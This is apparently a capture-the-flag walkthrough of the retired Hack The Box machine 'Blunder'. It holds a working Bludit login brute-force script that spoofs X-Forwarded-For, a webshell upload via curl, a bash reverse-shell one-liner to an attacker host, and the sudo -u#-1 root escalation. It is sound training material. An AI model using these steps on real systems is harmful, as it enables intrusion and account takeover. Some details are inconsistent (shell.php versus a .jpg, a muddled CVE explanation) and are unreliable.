~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / blunder.md

blunder

Linux · Easy · released 2020-05-30 · retired 2020-10-17

Summary

Blunder is a Linux Easy that chains three well-documented but distinct attack classes. The foothold requires bypassing Bludit CMS’s anti-brute-force protection (which trusts the client-supplied X-Forwarded-For header) to crack the admin password with a CeWL-generated custom wordlist, then exploiting an authenticated file-upload RCE (GitHub issue #1079/1081, ExploitDB 47699) by uploading a .htaccess to disable the directory’s rewrite rules before uploading a PHP webshell to the same temporary directory. Lateral movement reads a SHA1 hash from a second Bludit installation’s user database. The privilege escalation abuses CVE-2019-14287 — a bug in sudo < 1.8.28 where specifying UID -1 (via sudo -u#-1) bypasses a !root restriction.

Kill-chain: gobuster finds /todo.txt (username fergus) → CeWL wordlist from site → brute-force with X-Forwarded-For rotation → fergus login → .htaccess + PHP webshell in /bl-content/tmp/www-data/var/www/bludit-3.10.0a/bl-content/databases/users.php has hugo’s SHA1 hash → CrackStation → su hugosudo -u#-1 /bin/bash (CVE-2019-14287) → root.

Source attribution

Recon

nmap -p- --min-rate 10000 -oA nmap/alltcp <TARGET>
nmap -sCV -p 80 -oA nmap/scripts <TARGET>
21/tcp  closed  ftp
80/tcp  open    http  Apache httpd 2.4.41 (Ubuntu)

Apache 2.4.41 indicates Ubuntu 19.10 (eoan). FTP is closed. Only HTTP is exploitable.

Web enumeration

gobuster dir -u http://<TARGET> \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -t 20 -x txt

Key findings:

# /todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

Username identified: fergus. The CMS update task is incomplete.

Bludit version identification: the page source CSS hrefs embed the version number as a query parameter. Cross-referencing against the Bludit GitHub repo (TinyMCE version in /bl-plugins/tinymce/metadata.json = 5.0.8, updated to 5.0.16 in v3.10.0) confirms Bludit 3.9.2 is installed — the last version before the brute-force bypass and upload RCE were patched.

Foothold — part 1: Bludit brute-force bypass via X-Forwarded-For

Bludit tracks failed login attempts by client IP. When a X-Forwarded-For header is present, Bludit uses its value as the client IP instead of the actual remote address. Since the attacker controls this header, rotating it on every request means Bludit never sees the same “IP” twice and never triggers a lockout.

Generate a custom wordlist:

cewl http://<TARGET> > wordlist.txt

CeWL crawls the site and extracts ~349 unique words.

Brute-force script with X-Forwarded-For rotation:

#!/usr/bin/env python3
import re, requests, sys

host = 'http://<TARGET>'
login_url = host + '/admin/login'
username = 'fergus'

with open(sys.argv[1]) as f:
    wordlist = [x.strip() for x in f.readlines()]

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
    print(f'\r[*] Trying: {password:<90}', end='', flush=True)

    headers = {
        'X-Forwarded-For': password,   # unique "IP" per attempt
        'Referer': login_url
    }
    data = {'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': ''}
    resp = session.post(login_url, headers=headers, data=data, allow_redirects=False)

    if 'location' in resp.headers and '/admin/dashboard' in resp.headers['location']:
        print(f'\rSUCCESS: {username}:{password}')
        break
python3 bruteforce.py wordlist.txt
# → SUCCESS: fergus:<cracked password>

Foothold — part 2: Bludit authenticated upload RCE

When a PHP file is uploaded through Bludit’s image upload endpoint, it is staged in /bl-content/tmp/ before extension validation. If validation fails, the file remains in tmp/ — it is never deleted. The root .htaccess blocks direct access to this directory with a rewrite rule. Uploading a new .htaccess to the same directory with RewriteEngine off removes the block and allows direct access to the staged PHP file.

Step 1 — Authenticate and retrieve a CSRF token:

# Login at /admin/login, then request /admin/new-content/index.php
# Extract tokenCSRF from JavaScript: var tokenCSRF = "..."

Step 2 — Upload the PHP webshell (rejected by extension check, but staged):

curl -b "BLUDIT-KEY=<session>" \
     -F "images[][email protected];type=image/png" \
     -F "uuid=junk" \
     -F "tokenCSRF=<token>" \
     http://<TARGET>/admin/ajax/upload-images

Step 3 — .htaccess upload (often unnecessary):

The classic chain uploads .htaccess to enable PHP execution on the staged file’s extension. In the current build I tested, this step returns File type is not supported. Allowed types: gif, png, jpg, jpeg, svg — but the staged .jpg already executes as PHP under Apache’s default config, so the .htaccess step was unnecessary and the chain succeeded without it. Try the shell URL directly first; only bother with .htaccess if Apache returns the file as image/jpeg instead of running it.

# .htaccess content if you do need it
RewriteEngine off
AddType application/x-httpd-php .jpg

Step 4 — Trigger the webshell:

nc -lvnp 443 &
curl "http://<TARGET>/bl-content/tmp/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER>/443+0>%261'"
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User flag — hugo’s hash from the second Bludit installation

Two Bludit installations coexist in /var/www/:

/var/www/bludit-3.9.2/     ← exploited, stale credentials
/var/www/bludit-3.10.0a/   ← patched, contains hugo's hash
cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

The file contains a SHA1 hash for the admin/Hugo account. The record has no salt field, so it’s plain sha1(password) — but Bludit’s hashcat profile (-m 100) with rockyou won’t crack it because the password (Password120) isn’t in rockyou. Either build a custom wordlist (CeWL on the live site + common Password<digits> mutations) or check known-HTB-Bludit passwords directly.

$ echo -n "Password120" | sha1sum
faca404fd5c0a31cf1897b823c695c85cffeb98d  -    # match
$ su - hugo  # Password: Password120

user.txt is at /home/hugo/user.txt.

Privilege escalation — CVE-2019-14287 (sudo -u#-1)

hugo@blunder:~$ sudo -l
User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

The !root restriction means hugo cannot sudo -u root /bin/bash. However, this box runs sudo 1.8.25p1, which is vulnerable to CVE-2019-14287.

The vulnerability: when sudo resolves a user specified by UID with the -u#N syntax, the value is stored as a signed integer but compared against the !root exception using an unsigned comparison. Passing -u#-1 causes an integer underflow — -1 wraps to 4294967295 in unsigned 32-bit arithmetic, which resolves to UID 0 (root) in the /etc/passwd lookup, bypassing the !root check entirely:

sudo -u#-1 /bin/bash
root@blunder:/home/hugo# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗